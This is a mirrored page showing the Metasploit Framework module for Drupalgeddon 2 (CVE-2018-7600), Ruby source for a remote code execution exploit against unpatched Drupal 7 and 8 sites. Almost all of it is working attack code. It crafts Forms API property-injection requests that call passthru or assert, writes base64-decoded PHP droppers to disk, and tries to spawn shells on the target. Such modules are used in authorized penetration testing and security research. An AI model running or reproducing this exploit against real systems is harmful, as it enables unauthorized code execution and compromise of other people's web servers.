Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::HTTP::Drupal
11
# XXX: CmdStager can't handle badchars
12
include Msf::Exploit::PhpEXE
13
include Msf::Exploit::FileDropper
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
21
'Description' => %q{
22
This module exploits a Drupal property injection in the Forms API.
23
24
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
25
},
26
'Author' => [
27
'Jasper Mattsson', # Vulnerability discovery
28
'a2u', # Proof of concept (Drupal 8.x)
29
'Nixawk', # Proof of concept (Drupal 8.x)
30
'FireFart', # Proof of concept (Drupal 7.x)
31
'wvu' # Metasploit module
32
],
33
'References' => [
34
['CVE', '2018-7600'],
35
['URL', 'https://www.drupal.org/sa-core-2018-002'],
36
['URL', 'https://greysec.net/showthread.php?tid=2912'],
37
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
38
['URL', 'https://github.com/a2u/CVE-2018-7600'],
39
['URL', 'https://github.com/nixawk/labs/issues/19'],
40
['URL', 'https://github.com/FireFart/CVE-2018-7600']
41
],
42
'DisclosureDate' => '2018-03-28',
43
'License' => MSF_LICENSE,
44
'Platform' => ['php', 'unix', 'linux'],
45
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
46
'Privileged' => false,
47
'Payload' => { 'BadChars' => '&>\'' },
48
'Targets' => [
49
#
50
# Automatic targets (PHP, cmd/unix, native)
51
#
52
[
53
'Automatic (PHP In-Memory)',
54
'Platform' => 'php',
55
'Arch' => ARCH_PHP,
56
'Type' => :php_memory
57
],
58
[
59
'Automatic (PHP Dropper)',
60
'Platform' => 'php',
61
'Arch' => ARCH_PHP,
62
'Type' => :php_dropper
63
],
64
[
65
'Automatic (Unix In-Memory)',
66
'Platform' => 'unix',
67
'Arch' => ARCH_CMD,
68
'Type' => :unix_memory
69
],
70
[
71
'Automatic (Linux Dropper)',
72
'Platform' => 'linux',
73
'Arch' => [ARCH_X86, ARCH_X64],
74
'Type' => :linux_dropper
75
],
76
#
77
# Drupal 7.x targets (PHP, cmd/unix, native)
78
#
79
[
80
'Drupal 7.x (PHP In-Memory)',
81
'Platform' => 'php',
82
'Arch' => ARCH_PHP,
83
'Version' => Rex::Version.new('7'),
84
'Type' => :php_memory
85
],
86
[
87
'Drupal 7.x (PHP Dropper)',
88
'Platform' => 'php',
89
'Arch' => ARCH_PHP,
90
'Version' => Rex::Version.new('7'),
91
'Type' => :php_dropper
92
],
93
[
94
'Drupal 7.x (Unix In-Memory)',
95
'Platform' => 'unix',
96
'Arch' => ARCH_CMD,
97
'Version' => Rex::Version.new('7'),
98
'Type' => :unix_memory
99
],
100
[
101
'Drupal 7.x (Linux Dropper)',
102
'Platform' => 'linux',
103
'Arch' => [ARCH_X86, ARCH_X64],
104
'Version' => Rex::Version.new('7'),
105
'Type' => :linux_dropper
106
],
107
#
108
# Drupal 8.x targets (PHP, cmd/unix, native)
109
#
110
[
111
'Drupal 8.x (PHP In-Memory)',
112
'Platform' => 'php',
113
'Arch' => ARCH_PHP,
114
'Version' => Rex::Version.new('8'),
115
'Type' => :php_memory
116
],
117
[
118
'Drupal 8.x (PHP Dropper)',
119
'Platform' => 'php',
120
'Arch' => ARCH_PHP,
121
'Version' => Rex::Version.new('8'),
122
'Type' => :php_dropper
123
],
124
[
125
'Drupal 8.x (Unix In-Memory)',
126
'Platform' => 'unix',
127
'Arch' => ARCH_CMD,
128
'Version' => Rex::Version.new('8'),
129
'Type' => :unix_memory
130
],
131
[
132
'Drupal 8.x (Linux Dropper)',
133
'Platform' => 'linux',
134
'Arch' => [ARCH_X86, ARCH_X64],
135
'Version' => Rex::Version.new('8'),
136
'Type' => :linux_dropper
137
]
138
],
139
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
140
'DefaultOptions' => { 'WfsDelay' => 2 }, # Also seconds between attempts
141
'Notes' => {
142
'Stability' => [CRASH_SAFE],
143
'SideEffects' => [],
144
'Reliability' => [],
145
'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']
146
}
147
)
148
)
149
150
register_options([
151
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
152
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
153
])
154
155
register_advanced_options([
156
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
157
])
158
end
159
160
def check
161
checkcode = CheckCode::Unknown
162
163
@version = target['Version'] || drupal_version
164
165
unless @version
166
vprint_error('Could not determine Drupal version to target')
167
return checkcode
168
end
169
170
vprint_status("Drupal #{@version} targeted at #{full_uri}")
171
checkcode = CheckCode::Detected
172
173
changelog = drupal_changelog(@version)
174
175
unless changelog
176
vprint_error('Could not determine Drupal patch level')
177
return checkcode
178
end
179
180
case drupal_patch(changelog, 'SA-CORE-2018-002')
181
when nil
182
vprint_warning('CHANGELOG.txt no longer contains patch level')
183
when true
184
vprint_warning('Drupal appears patched in CHANGELOG.txt')
185
checkcode = CheckCode::Safe
186
when false
187
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
188
checkcode = CheckCode::Appears
189
end
190
191
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
192
token = rand_str
193
res = execute_command(token, func: 'printf')
194
195
return checkcode unless res
196
197
if res.body.start_with?(token)
198
vprint_good('Drupal is vulnerable to code execution')
199
checkcode = CheckCode::Vulnerable
200
end
201
202
checkcode
203
end
204
205
def exploit
206
unless @version
207
print_warning('Targeting Drupal 7.x as a fallback')
208
@version = Rex::Version.new('7')
209
end
210
211
if datastore['PAYLOAD'] == 'cmd/unix/generic'
212
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
213
# XXX: Naughty datastore modification
214
datastore['DUMP_OUTPUT'] = true
215
end
216
217
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
218
case target['Type']
219
when :php_memory
220
execute_command(payload.encoded, func: 'assert')
221
222
sleep(wfs_delay)
223
return if session_created?
224
225
# XXX: This will spawn a *very* obvious process
226
execute_command("php -r '#{payload.encoded}'")
227
when :unix_memory
228
execute_command(payload.encoded)
229
when :php_dropper, :linux_dropper
230
dropper_assert
231
232
sleep(wfs_delay)
233
return if session_created?
234
235
dropper_exec
236
end
237
end
238
239
def dropper_assert
240
php_file = Pathname.new(
241
"#{datastore['WritableDir']}/#{rand_str}.php"
242
).cleanpath
243
244
# Return the PHP payload or a PHP binary dropper
245
dropper = get_write_exec_payload(
246
writable_path: datastore['WritableDir'],
247
unlink_self: true # Worth a shot
248
)
249
250
# Encode away potential badchars with Base64
251
dropper = Rex::Text.encode_base64(dropper)
252
253
# Stage 1 decodes the PHP and writes it to disk
254
stage1 = %Q{
255
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
256
}
257
258
# Stage 2 executes said PHP in-process
259
stage2 = %Q{
260
include_once("#{php_file}");
261
}
262
263
# :unlink_self may not work, so let's make sure
264
register_file_for_cleanup(php_file)
265
266
# Hopefully pop our shell with assert()
267
execute_command(stage1.strip, func: 'assert')
268
execute_command(stage2.strip, func: 'assert')
269
end
270
271
def dropper_exec
272
php_file = "#{rand_str}.php"
273
tmp_file = Pathname.new(
274
"#{datastore['WritableDir']}/#{php_file}"
275
).cleanpath
276
277
# Return the PHP payload or a PHP binary dropper
278
dropper = get_write_exec_payload(
279
writable_path: datastore['WritableDir'],
280
unlink_self: true # Worth a shot
281
)
282
283
# Encode away potential badchars with Base64
284
dropper = Rex::Text.encode_base64(dropper)
285
286
# :unlink_self may not work, so let's make sure
287
register_file_for_cleanup(php_file)
288
289
# Write the payload or dropper to disk (!)
290
# NOTE: Analysis indicates > is a badchar for 8.x
291
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
292
293
# Attempt in-process execution of our PHP script
294
send_request_cgi(
295
'method' => 'GET',
296
'uri' => normalize_uri(target_uri.path, php_file)
297
)
298
299
sleep(wfs_delay)
300
return if session_created?
301
302
# Try to get a shell with PHP CLI
303
execute_command("php #{php_file}")
304
305
sleep(wfs_delay)
306
return if session_created?
307
308
register_file_for_cleanup(tmp_file)
309
310
# Fall back on our temp file
311
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
312
execute_command("php #{tmp_file}")
313
end
314
315
def execute_command(cmd, opts = {})
316
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
317
318
vprint_status("Executing with #{func}(): #{cmd}")
319
320
res =
321
case @version.to_s
322
when /^7\b/
323
exploit_drupal7(func, cmd)
324
when /^8\b/
325
exploit_drupal8(func, cmd)
326
end
327
328
return unless res
329
330
if res.code == 200
331
print_line(res.body) if datastore['DUMP_OUTPUT']
332
else
333
print_error("Unexpected reply: #{res.inspect}")
334
end
335
336
res
337
end
338
339
def exploit_drupal7(func, code)
340
vars_get = {
341
'q' => 'user/password',
342
'name[#post_render][]' => func,
343
'name[#markup]' => code,
344
'name[#type]' => 'markup'
345
}
346
347
vars_post = {
348
'form_id' => 'user_pass',
349
'_triggering_element_name' => 'name'
350
}
351
352
res = send_request_cgi(
353
'method' => 'POST',
354
'uri' => normalize_uri(target_uri.path),
355
'vars_get' => vars_get,
356
'vars_post' => vars_post
357
)
358
359
return res unless res && res.code == 200
360
361
form_build_id = res.get_html_document.at(
362
'//input[@name = "form_build_id"]/@value'
363
)
364
365
return res unless form_build_id
366
367
vars_get = {
368
'q' => "file/ajax/name/#value/#{form_build_id.value}"
369
}
370
371
vars_post = {
372
'form_build_id' => form_build_id.value
373
}
374
375
send_request_cgi(
376
'method' => 'POST',
377
'uri' => normalize_uri(target_uri.path),
378
'vars_get' => vars_get,
379
'vars_post' => vars_post
380
)
381
end
382
383
def exploit_drupal8(func, code)
384
# Clean URLs are enabled by default and "can't" be disabled
385
uri = normalize_uri(target_uri.path, 'user/register')
386
387
vars_get = {
388
'element_parents' => 'account/mail/#value',
389
'ajax_form' => 1,
390
'_wrapper_format' => 'drupal_ajax'
391
}
392
393
vars_post = {
394
'form_id' => 'user_register_form',
395
'_drupal_ajax' => 1,
396
'mail[#type]' => 'markup',
397
'mail[#post_render][]' => func,
398
'mail[#markup]' => code
399
}
400
401
send_request_cgi(
402
'method' => 'POST',
403
'uri' => uri,
404
'vars_get' => vars_get,
405
'vars_post' => vars_post
406
)
407
end
408
409
def rand_str
410
Rex::Text.rand_text_alphanumeric(8..42)
411
end
412
413
end
414
415